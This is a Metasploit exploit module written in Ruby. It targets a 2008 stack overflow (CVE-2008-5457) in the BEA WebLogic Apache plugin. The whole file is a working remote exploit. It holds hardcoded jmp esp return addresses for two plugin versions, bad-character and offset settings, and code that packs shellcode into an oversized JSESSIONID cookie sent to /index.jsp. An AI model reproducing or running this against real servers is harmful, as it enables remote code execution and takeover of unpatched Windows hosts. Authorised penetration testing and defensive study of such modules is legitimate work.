##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'BEA Weblogic JSESSIONID cookie value overflow',
      'Description'    => %q{
        This module exploits a 0day in the JSESSION cookie value when clustering is configured.
      },
      'Author'         => 'pusscat',
      'References'     =>
        [
          [ 'CVE', '2008-5457' ],
          [ 'OSVDB', '51311' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Privileged'     => true,
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
                    'StackAdjustment' => -3500,

        },
      'Targets'        => 
      [
        [  'Windows Apache 2.2 - weblogic module version 1.0.1136334',
          {
          'Ret' => 0x1006c9b5,    # jmp esp
          }
        ],
        [  'Windows Apache 2.2 - weblogic module version 1.0.1150354',
          {
          'Ret' => 0x1006c9be,    # jmp esp
          }
        ],
      ],
      'DefaultTarget'  => 1))
      register_options( [ Opt::RPORT(80) ], self.class )
  end

  def exploit
    sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
    sploit[8181, 4] = [target.ret].pack('V')
    sploit[8185, payload.encoded.length] = payload.encoded

    request =  
      "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
      sploit + 
      "\r\n\r\n"

    connect
    sock.put(request);
    handler

    disconnect
  end

end